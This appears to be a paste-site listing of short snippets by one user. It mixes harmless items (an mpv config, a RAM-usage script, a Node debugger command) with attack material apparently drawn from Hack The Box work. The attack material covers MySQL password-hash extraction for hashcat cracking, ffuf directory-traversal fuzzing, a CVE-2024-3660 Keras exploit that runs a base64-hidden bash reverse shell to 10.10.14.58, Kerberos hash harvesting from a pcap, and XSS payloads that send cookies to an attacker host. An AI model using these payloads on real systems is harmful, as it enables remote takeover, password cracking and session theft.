Reelix

1.) Login using Mobile App creds and get auth token (Only change Email and Password - Rest can stay the same)

curl -s -X POST "https://api.ecoflow.com/auth/login" \
-H "Content-Type: application/json" \
-d '{
"email": "email@address.com",
"password": "base64-encoded-password",
"userType": "ECOFLOW",
"os": "ios",

Reelix

node inspect 127.0.0.1:9229
debug>

->

repl

Press Ctrl+C to leave debug repl
>

Reelix

echo "Searching for RAM - Please hold..."
for pid in /proc/[0-9]*; do
    if [ -f "$pid/status" ]; then
        name=$(grep "^Name:" "$pid/status" 2>/dev/null | awk '{print $2}')
        rss=$(grep "^VmRSS:" "$pid/status" 2>/dev/null | awk '{print $2}')
        swap=$(grep "^VmSwap:" "$pid/status" 2>/dev/null | awk '{print $2}')
        
        rss=${rss:-0}
        swap=${swap:-0}
        total=$((rss + swap))

Reelix

1.) Convert to crackable hash format

SELECT user, CONCAT('$mysql', LEFT(authentication_string, 6), '*', INSERT(HEX(SUBSTR(authentication_string, 8)), 41, 0, '*')) AS hash 
FROM user
WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';

2.) Extract each hash entry as is

3.) hashcat.bin hashes.txt ~/wordlists/rockyou.txt -O -m7401

Reelix

// Note: Lines start with a /, so any trailing / should be removed in the FUZZing
https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Directory%20Traversal/Intruder/traversals-8-deep-exotic-encoding.txt

cat traversals-8-deep-exotic-encoding.txt | sed 's/{FILE}/Windows\\win.ini/g' | ffuf -w - -u http://IP/downloadFUZZ -fc 302

Reelix

### ~/.config/mpv/input.conf

# Left-mouse button for pause / play
MBTN_LEFT cycle pause

# Prevent the right-mouse button from pause / play
MBTN_RIGHT ignore

# Up / Down for volume instead of seek (No Display)
UP   add volume +5

Reelix

#!/usr/bin/env python3
# Thanks Gemini!
import re
import base64
# The 'cryptography' library is required to run this code.
# You can install it in your local Python environment with:
# pip install cryptography
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

Reelix

# CVE-2024-3660
# https://nvd.nist.gov/vuln/detail/CVE-2024-3660
# https://www.oligo.security/blog/tensorflow-keras-downgrade-attack-cve-2024-3660-bypass

import tensorflow as tf

def exploit(x):
   import os
   os.system("echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjU4LzkwMDEgPCYx|base64 -d|bash")
   return x

Reelix

import socket
import pyshark
from pprint import pprint

data = pyshark.FileCapture("C:/Reelix/HTB/Office/Latest-System-Dump-8fbc124d.pcap", display_filter="kerberos")
print("Searching for Kerberos packets...")
for pkt in data:
	if "Kerberos" in pkt:
		dirs = dir(pkt["Kerberos"])
		if ("cnamestring" in dirs) and ("cipher" in dirs) and ("etype" in dirs) and ("realm" in dirs):

Reelix

// Test For Image
<img src='http://ip:port/xss' />

// Test For Fetch
<img src=x onerror=fetch('http://ip:port/xss2') />

// Fetch Cookie Stealing
<img src=x onerror=fetch('http://ip:port/cookie?cookie='+btoa(document.cookie)) />

// Fetch entire page contents